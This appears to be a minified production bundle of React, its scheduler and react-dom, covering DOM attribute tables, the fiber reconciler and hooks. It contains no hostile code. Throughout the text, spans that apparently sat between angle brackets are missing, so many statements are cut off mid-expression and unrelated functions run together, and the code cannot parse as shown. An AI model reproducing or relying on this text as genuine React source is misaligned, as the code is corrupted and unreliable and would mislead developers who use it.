fp(){}fp.prototype=yn.prototype;function Bs(e,t,r){this.props=e,this.context=t,this.refs=cp,this.updater=r||sp}var Us=Bs.prototype=new fp;Us.constructor=Bs;up(Us,yn.prototype);Us.isPureReactComponent=!0;var sc=Array.isArray,dp=Object.prototype.hasOwnProperty,Gs={current:null},pp={key:!0,ref:!0,__self:!0,__source:!0};function mp(e,t,r){var n,o={},i=null,l=null;if(t!=null)for(n in t.ref!==void 0&&(l=t.ref),t.key!==void 0&&(i=""+t.key),t)dp.call(t,n)&&!pp.hasOwnProperty(n)&&(o[n]=t[n]);var a=arguments.length-2;if(a===1)o.children=r;else if(1>>1,_=T[B];if(0>>1;Bo(D,M))j<_&&0>o(A,D)?(T[B]=A,T[j]=M,B=j):(T[B]=D,T[z]=M,B=z);else if(j<_&&0>o(A,M))T[B]=A,T[j]=M,B=j;else break e}}return F}function o(T,F){var M=T.sortIndex-F.sortIndex;return M!==0?M:T.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;e.unstable_now=function(){return i.now()}}else{var l=Date,a=l.now();e.unstable_now=function(){return l.now()-a}}var s=[],u=[],p=1,m=null,d=3,g=!1,h=!1,v=!1,x=typeof setTimeout=="function"?setTimeout:null,f=typeof clearTimeout=="function"?clearTimeout:null,c=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function y(T){for(var F=r(u);F!==null;){if(F.callback===null)n(u);else if(F.startTime<=T)n(u),F.sortIndex=F.expirationTime,t(s,F);else break;F=r(u)}}function S(T){if(v=!1,y(T),!h)if(r(s)!==null)h=!0,ze(k);else{var F=r(u);F!==null&&ne(S,F.startTime-T)}}function k(T,F){h=!1,v&&(v=!1,f(N),N=-1),g=!0;var M=d;try{for(y(F),m=r(s);m!==null&&(!(m.expirationTime>F)||T&&!I());){var B=m.callback;if(typeof B=="function"){m.callback=null,d=m.priorityLevel;var _=B(m.expirationTime<=F);F=e.unstable_now(),typeof _=="function"?m.callback=_:m===r(s)&&n(s),y(F)}else n(s);m=r(s)}if(m!==null)var C=!0;else{var z=r(u);z!==null&&ne(S,z.startTime-F),C=!1}return C}finally{m=null,d=M,g=!1}}var b=!1,O=null,N=-1,H=5,R=-1;function I(){return!(e.unstable_now()-RT||125B?(T.sortIndex=M,t(u,T),r(s)===null&&T===r(u)&&(v?(f(N),N=-1):v=!0,ne(S,M-B))):(T.sortIndex=_,t(s,T),h||g||(h=!0,ze(k))),T},e.unstable_shouldYield=I,e.unstable_wrapCallback=function(T){var F=d;return function(){var M=d;d=F;try{return T.apply(this,arguments)}finally{d=M}}}})(vp);(function(e){e.exports=vp})(gp);/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var hp=$.exports,lt=gp.exports;function E(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,r=1;r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Va=Object.prototype.hasOwnProperty,th=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,fc={},dc={};function rh(e){return Va.call(dc,e)?!0:Va.call(fc,e)?!1:th.test(e)?dc[e]=!0:(fc[e]=!0,!1)}function nh(e,t,r,n){if(r!==null&&r.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return n?!1:r!==null?!r.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function oh(e,t,r,n){if(t===null||typeof t>"u"||nh(e,t,r,n))return!0;if(n)return!1;if(r!==null)switch(r.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function He(e,t,r,n,o,i,l){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=n,this.attributeNamespace=o,this.mustUseProperty=r,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=l}var Te={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Te[e]=new He(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Te[t]=new He(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Te[e]=new He(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Te[e]=new He(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Te[e]=new He(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Te[e]=new He(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Te[e]=new He(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Te[e]=new He(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Te[e]=new He(e,5,!1,e.toLowerCase(),null,!1,!1)});var Qs=/[\-:]([a-z])/g;function Xs(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Te[e]=new He(e,1,!1,e.toLowerCase(),null,!1,!1)});Te.xlinkHref=new He("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Te[e]=new He(e,1,!1,e.toLowerCase(),null,!0,!0)});function Ks(e,t,r,n){var o=Te.hasOwnProperty(t)?Te[t]:null;(o!==null?o.type!==0:n||!(2a||o[l]!==i[a]){var s=` +`+o[l].replace(" at new "," at ");return e.displayName&&s.includes("")&&(s=s.replace("",e.displayName)),s}while(1<=l&&0<=a);break}}}finally{la=!1,Error.prepareStackTrace=r}return(e=e?e.displayName||e.name:"")?Dn(e):""}function ih(e){switch(e.tag){case 5:return Dn(e.type);case 16:return Dn("Lazy");case 13:return Dn("Suspense");case 19:return Dn("SuspenseList");case 0:case 2:case 15:return e=aa(e.type,!1),e;case 11:return e=aa(e.type.render,!1),e;case 1:return e=aa(e.type,!0),e;default:return""}}function Ga(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Wr:return"Fragment";case Ar:return"Portal";case Ha:return"Profiler";case Zs:return"StrictMode";case Ba:return"Suspense";case Ua:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case Sp:return(e.displayName||"Context")+".Consumer";case _p:return(e._context.displayName||"Context")+".Provider";case Js:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case qs:return t=e.displayName||null,t!==null?t:Ga(e.type)||"Memo";case Zt:t=e._payload,e=e._init;try{return Ga(e(t))}catch{}}return null}function lh(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ga(t);case 8:return t===Zs?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function dr(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Op(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function ah(e){var t=Op(e)?"checked":"value",r=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),n=""+e[t];if(!e.hasOwnProperty(t)&&typeof r<"u"&&typeof r.get=="function"&&typeof r.set=="function"){var o=r.get,i=r.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(l){n=""+l,i.call(this,l)}}),Object.defineProperty(e,t,{enumerable:r.enumerable}),{getValue:function(){return n},setValue:function(l){n=""+l},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function bo(e){e._valueTracker||(e._valueTracker=ah(e))}function xp(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var r=t.getValue(),n="";return e&&(n=Op(e)?e.checked?"true":"false":e.value),e=n,e!==r?(t.setValue(e),!0):!1}function vi(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ya(e,t){var r=t.checked;return pe({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:r!=null?r:e._wrapperState.initialChecked})}function mc(e,t){var r=t.defaultValue==null?"":t.defaultValue,n=t.checked!=null?t.checked:t.defaultChecked;r=dr(t.value!=null?t.value:r),e._wrapperState={initialChecked:n,initialValue:r,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function $p(e,t){t=t.checked,t!=null&&Ks(e,"checked",t,!1)}function Qa(e,t){$p(e,t);var r=dr(t.value),n=t.type;if(r!=null)n==="number"?(r===0&&e.value===""||e.value!=r)&&(e.value=""+r):e.value!==""+r&&(e.value=""+r);else if(n==="submit"||n==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Xa(e,t.type,r):t.hasOwnProperty("defaultValue")&&Xa(e,t.type,dr(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function yc(e,t,r){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var n=t.type;if(!(n!=="submit"&&n!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,r||t===e.value||(e.value=t),e.defaultValue=t}r=e.name,r!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,r!==""&&(e.name=r)}function Xa(e,t,r){(t!=="number"||vi(e.ownerDocument)!==e)&&(r==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+r&&(e.defaultValue=""+r))}var jn=Array.isArray;function qr(e,t,r,n){if(e=e.options,t){t={};for(var o=0;o"+t.valueOf().toString()+"",t=Eo.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Zn(e,t){if(t){var r=e.firstChild;if(r&&r===e.lastChild&&r.nodeType===3){r.nodeValue=t;return}}e.textContent=t}var Fn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},sh=["Webkit","ms","Moz","O"];Object.keys(Fn).forEach(function(e){sh.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Fn[t]=Fn[e]})});function Cp(e,t,r){return t==null||typeof t=="boolean"||t===""?"":r||typeof t!="number"||t===0||Fn.hasOwnProperty(e)&&Fn[e]?(""+t).trim():t+"px"}function Np(e,t){e=e.style;for(var r in t)if(t.hasOwnProperty(r)){var n=r.indexOf("--")===0,o=Cp(r,t[r],n);r==="float"&&(r="cssFloat"),n?e.setProperty(r,o):e[r]=o}}var uh=pe({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Ja(e,t){if(t){if(uh[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(E(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(E(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(E(61))}if(t.style!=null&&typeof t.style!="object")throw Error(E(62))}}function qa(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var es=null;function eu(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var ts=null,en=null,tn=null;function hc(e){if(e=_o(e)){if(typeof ts!="function")throw Error(E(280));var t=e.stateNode;t&&(t=kl(t),ts(e.stateNode,e.type,t))}}function Tp(e){en?tn?tn.push(e):tn=[e]:en=e}function zp(){if(en){var e=en,t=tn;if(tn=en=null,hc(e),t)for(e=0;e>>=0,e===0?32:31-(_h(e)/Sh|0)|0}var Co=64,No=4194304;function In(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Si(e,t){var r=e.pendingLanes;if(r===0)return 0;var n=0,o=e.suspendedLanes,i=e.pingedLanes,l=r&268435455;if(l!==0){var a=l&~o;a!==0?n=In(a):(i&=l,i!==0&&(n=In(i)))}else l=r&~o,l!==0?n=In(l):i!==0&&(n=In(i));if(n===0)return 0;if(t!==0&&t!==n&&(t&o)===0&&(o=n&-n,i=t&-t,o>=i||o===16&&(i&4194240)!==0))return t;if((n&4)!==0&&(n|=r&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=n;0r;r++)t.push(e);return t}function ho(e,t,r){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Pt(t),e[t]=r}function $h(e,t){var r=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var n=e.eventTimes;for(e=e.expirationTimes;0=Wn),bc=String.fromCharCode(32),Ec=!1;function Jp(e,t){switch(e){case"keyup":return qh.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function qp(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Vr=!1;function t0(e,t){switch(e){case"compositionend":return qp(t);case"keypress":return t.which!==32?null:(Ec=!0,bc);case"textInput":return e=t.data,e===bc&&Ec?null:e;default:return null}}function r0(e,t){if(Vr)return e==="compositionend"||!su&&Jp(e,t)?(e=Kp(),ni=iu=rr=null,Vr=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=zc(r)}}function nm(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?nm(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function om(){for(var e=window,t=vi();t instanceof e.HTMLIFrameElement;){try{var r=typeof t.contentWindow.location.href=="string"}catch{r=!1}if(r)e=t.contentWindow;else break;t=vi(e.document)}return t}function uu(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function f0(e){var t=om(),r=e.focusedElem,n=e.selectionRange;if(t!==r&&r&&r.ownerDocument&&nm(r.ownerDocument.documentElement,r)){if(n!==null&&uu(r)){if(t=n.start,e=n.end,e===void 0&&(e=t),"selectionStart"in r)r.selectionStart=t,r.selectionEnd=Math.min(e,r.value.length);else if(e=(t=r.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var o=r.textContent.length,i=Math.min(n.start,o);n=n.end===void 0?i:Math.min(n.end,o),!e.extend&&i>n&&(o=n,n=i,i=o),o=Rc(r,i);var l=Rc(r,n);o&&l&&(e.rangeCount!==1||e.anchorNode!==o.node||e.anchorOffset!==o.offset||e.focusNode!==l.node||e.focusOffset!==l.offset)&&(t=t.createRange(),t.setStart(o.node,o.offset),e.removeAllRanges(),i>n?(e.addRange(t),e.extend(l.node,l.offset)):(t.setEnd(l.node,l.offset),e.addRange(t)))}}for(t=[],e=r;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof r.focus=="function"&&r.focus(),r=0;r=document.documentMode,Hr=null,as=null,Hn=null,ss=!1;function Dc(e,t,r){var n=r.window===r?r.document:r.nodeType===9?r:r.ownerDocument;ss||Hr==null||Hr!==vi(n)||(n=Hr,"selectionStart"in n&&uu(n)?n={start:n.selectionStart,end:n.selectionEnd}:(n=(n.ownerDocument&&n.ownerDocument.defaultView||window).getSelection(),n={anchorNode:n.anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset}),Hn&&no(Hn,n)||(Hn=n,n=xi(as,"onSelect"),0Gr||(e.current=ms[Gr],ms[Gr]=null,Gr--)}function oe(e,t){Gr++,ms[Gr]=e.current,e.current=t}var pr={},Fe=yr(pr),Ye=yr(!1),br=pr;function sn(e,t){var r=e.type.contextTypes;if(!r)return pr;var n=e.stateNode;if(n&&n.__reactInternalMemoizedUnmaskedChildContext===t)return n.__reactInternalMemoizedMaskedChildContext;var o={},i;for(i in r)o[i]=t[i];return n&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=o),o}function Qe(e){return e=e.childContextTypes,e!=null}function ki(){le(Ye),le(Fe)}function Wc(e,t,r){if(Fe.current!==pr)throw Error(E(168));oe(Fe,t),oe(Ye,r)}function pm(e,t,r){var n=e.stateNode;if(t=t.childContextTypes,typeof n.getChildContext!="function")return r;n=n.getChildContext();for(var o in n)if(!(o in t))throw Error(E(108,lh(e)||"Unknown",o));return pe({},r,n)}function bi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||pr,br=Fe.current,oe(Fe,e),oe(Ye,Ye.current),!0}function Vc(e,t,r){var n=e.stateNode;if(!n)throw Error(E(169));r?(e=pm(e,t,br),n.__reactInternalMemoizedMergedChildContext=e,le(Ye),le(Fe),oe(Fe,e)):le(Ye),oe(Ye,r)}var Mt=null,bl=!1,Sa=!1;function mm(e){Mt===null?Mt=[e]:Mt.push(e)}function O0(e){bl=!0,mm(e)}function gr(){if(!Sa&&Mt!==null){Sa=!0;var e=0,t=q;try{var r=Mt;for(q=1;e>=l,o-=l,Lt=1<<32-Pt(t)+o|r<N?(H=O,O=null):H=O.sibling;var R=d(f,O,y[N],S);if(R===null){O===null&&(O=H);break}e&&O&&R.alternate===null&&t(f,O),c=i(R,c,N),b===null?k=R:b.sibling=R,b=R,O=H}if(N===y.length)return r(f,O),ue&&wr(f,N),k;if(O===null){for(;NN?(H=O,O=null):H=O.sibling;var I=d(f,O,R.value,S);if(I===null){O===null&&(O=H);break}e&&O&&I.alternate===null&&t(f,O),c=i(I,c,N),b===null?k=I:b.sibling=I,b=I,O=H}if(R.done)return r(f,O),ue&&wr(f,N),k;if(O===null){for(;!R.done;N++,R=y.next())R=m(f,R.value,S),R!==null&&(c=i(R,c,N),b===null?k=R:b.sibling=R,b=R);return ue&&wr(f,N),k}for(O=n(f,O);!R.done;N++,R=y.next())R=g(O,f,N,R.value,S),R!==null&&(e&&R.alternate!==null&&O.delete(R.key===null?N:R.key),c=i(R,c,N),b===null?k=R:b.sibling=R,b=R);return e&&O.forEach(function(G){return t(f,G)}),ue&&wr(f,N),k}function x(f,c,y,S){if(typeof y=="object"&&y!==null&&y.type===Wr&&y.key===null&&(y=y.props.children),typeof y=="object"&&y!==null){switch(y.$$typeof){case ko:e:{for(var k=y.key,b=c;b!==null;){if(b.key===k){if(k=y.type,k===Wr){if(b.tag===7){r(f,b.sibling),c=o(b,y.props.children),c.return=f,f=c;break e}}else if(b.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Zt&&Xc(k)===b.type){r(f,b.sibling),c=o(b,y.props),c.ref=$n(f,b,y),c.return=f,f=c;break e}r(f,b);break}else t(f,b);b=b.sibling}y.type===Wr?(c=kr(y.props.children,f.mode,S,y.key),c.return=f,f=c):(S=fi(y.type,y.key,y.props,null,f.mode,S),S.ref=$n(f,c,y),S.return=f,f=S)}return l(f);case Ar:e:{for(b=y.key;c!==null;){if(c.key===b)if(c.tag===4&&c.stateNode.containerInfo===y.containerInfo&&c.stateNode.implementation===y.implementation){r(f,c.sibling),c=o(c,y.children||[]),c.return=f,f=c;break e}else{r(f,c);break}else t(f,c);c=c.sibling}c=Ca(y,f.mode,S),c.return=f,f=c}return l(f);case Zt:return b=y._init,x(f,c,b(y._payload),S)}if(jn(y))return h(f,c,y,S);if(_n(y))return v(f,c,y,S);Mo(f,y)}return typeof y=="string"&&y!==""||typeof y=="number"?(y=""+y,c!==null&&c.tag===6?(r(f,c.sibling),c=o(c,y),c.return=f,f=c):(r(f,c),c=Ea(y,f.mode,S),c.return=f,f=c),l(f)):r(f,c)}return x}var cn=Pm(!0),Om=Pm(!1),So={},Tt=yr(So),ao=yr(So),so=yr(So);function Or(e){if(e===So)throw Error(E(174));return e}function hu(e,t){switch(oe(so,t),oe(ao,e),oe(Tt,So),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Za(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Za(t,e)}le(Tt),oe(Tt,t)}function fn(){le(Tt),le(ao),le(so)}function xm(e){Or(so.current);var t=Or(Tt.current),r=Za(t,e.type);t!==r&&(oe(ao,e),oe(Tt,r))}function wu(e){ao.current===e&&(le(Tt),le(ao))}var fe=yr(0);function Ri(e){for(var t=e;t!==null;){if(t.tag===13){var r=t.memoizedState;if(r!==null&&(r=r.dehydrated,r===null||r.data==="$?"||r.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if((t.flags&128)!==0)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Pa=[];function _u(){for(var e=0;er?r:4,e(!0);var n=Oa.transition;Oa.transition={};try{e(!1),t()}finally{q=r,Oa.transition=n}}function Am(){return gt().memoizedState}function b0(e,t,r){var n=cr(e);if(r={lane:n,action:r,hasEagerState:!1,eagerState:null,next:null},Wm(e))Vm(t,r);else if(r=hm(e,t,r,n),r!==null){var o=We();Ot(r,e,n,o),Hm(r,t,n)}}function E0(e,t,r){var n=cr(e),o={lane:n,action:r,hasEagerState:!1,eagerState:null,next:null};if(Wm(e))Vm(t,o);else{var i=e.alternate;if(e.lanes===0&&(i===null||i.lanes===0)&&(i=t.lastRenderedReducer,i!==null))try{var l=t.lastRenderedState,a=i(l,r);if(o.hasEagerState=!0,o.eagerState=a,xt(a,l)){var s=t.interleaved;s===null?(o.next=o,gu(t)):(o.next=s.next,s.next=o),t.interleaved=o;return}}catch{}finally{}r=hm(e,t,o,n),r!==null&&(o=We(),Ot(r,e,n,o),Hm(r,t,n))}}function Wm(e){var t=e.alternate;return e===de||t!==null&&t===de}function Vm(e,t){Bn=Di=!0;var r=e.pending;r===null?t.next=t:(t.next=r.next,r.next=t),e.pending=t}function Hm(e,t,r){if((r&4194240)!==0){var n=t.lanes;n&=e.pendingLanes,r|=n,t.lanes=r,ru(e,r)}}var ji={readContext:yt,useCallback:Re,useContext:Re,useEffect:Re,useImperativeHandle:Re,useInsertionEffect:Re,useLayoutEffect:Re,useMemo:Re,useReducer:Re,useRef:Re,useState:Re,useDebugValue:Re,useDeferredValue:Re,useTransition:Re,useMutableSource:Re,useSyncExternalStore:Re,useId:Re,unstable_isNewReconciler:!1},C0={readContext:yt,useCallback:function(e,t){return kt().memoizedState=[e,t===void 0?null:t],e},useContext:yt,useEffect:Zc,useImperativeHandle:function(e,t,r){return r=r!=null?r.concat([e]):null,ai(4194308,4,jm.bind(null,t,e),r)},useLayoutEffect:function(e,t){return ai(4194308,4,e,t)},useInsertionEffect:function(e,t){return ai(4,2,e,t)},useMemo:function(e,t){var r=kt();return t=t===void 0?null:t,e=e(),r.memoizedState=[e,t],e},useReducer:function(e,t,r){var n=kt();return t=r!==void 0?r(t):t,n.memoizedState=n.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},n.queue=e,e=e.dispatch=b0.bind(null,de,e),[n.memoizedState,e]},useRef:function(e){var t=kt();return e={current:e},t.memoizedState=e},useState:Kc,useDebugValue:$u,useDeferredValue:function(e){return kt().memoizedState=e},useTransition:function(){var e=Kc(!1),t=e[0];return e=k0.bind(null,e[1]),kt().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,r){var n=de,o=kt();if(ue){if(r===void 0)throw Error(E(407));r=r()}else{if(r=t(),ke===null)throw Error(E(349));(Cr&30)!==0||bm(n,t,r)}o.memoizedState=r;var i={value:r,getSnapshot:t};return o.queue=i,Zc(Cm.bind(null,n,i,e),[e]),n.flags|=2048,fo(9,Em.bind(null,n,i,r,t),void 0,null),r},useId:function(){var e=kt(),t=ke.identifierPrefix;if(ue){var r=Ft,n=Lt;r=(n&~(1<<32-Pt(n)-1)).toString(32)+r,t=":"+t+"R"+r,r=uo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof n.is=="string"?e=l.createElement(r,{is:n.is}):(e=l.createElement(r),r==="select"&&(l=e,n.multiple?l.multiple=!0:n.size&&(l.size=n.size))):e=l.createElementNS(e,r),e[Ct]=t,e[lo]=n,Jm(e,t,!1,!1),t.stateNode=e;e:{switch(l=qa(r,n),r){case"dialog":ie("cancel",e),ie("close",e),o=n;break;case"iframe":case"object":case"embed":ie("load",e),o=n;break;case"video":case"audio":for(o=0;opn&&(t.flags|=128,n=!0,kn(i,!1),t.lanes=4194304)}else{if(!n)if(e=Ri(l),e!==null){if(t.flags|=128,n=!0,r=e.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),kn(i,!0),i.tail===null&&i.tailMode==="hidden"&&!l.alternate&&!ue)return De(t),null}else 2*ve()-i.renderingStartTime>pn&&r!==1073741824&&(t.flags|=128,n=!0,kn(i,!1),t.lanes=4194304);i.isBackwards?(l.sibling=t.child,t.child=l):(r=i.last,r!==null?r.sibling=l:t.child=l,i.last=l)}return i.tail!==null?(t=i.tail,i.rendering=t,i.tail=t.sibling,i.renderingStartTime=ve(),t.sibling=null,r=fe.current,oe(fe,n?r&1|2:r&1),t):(De(t),null);case 22:case 23:return 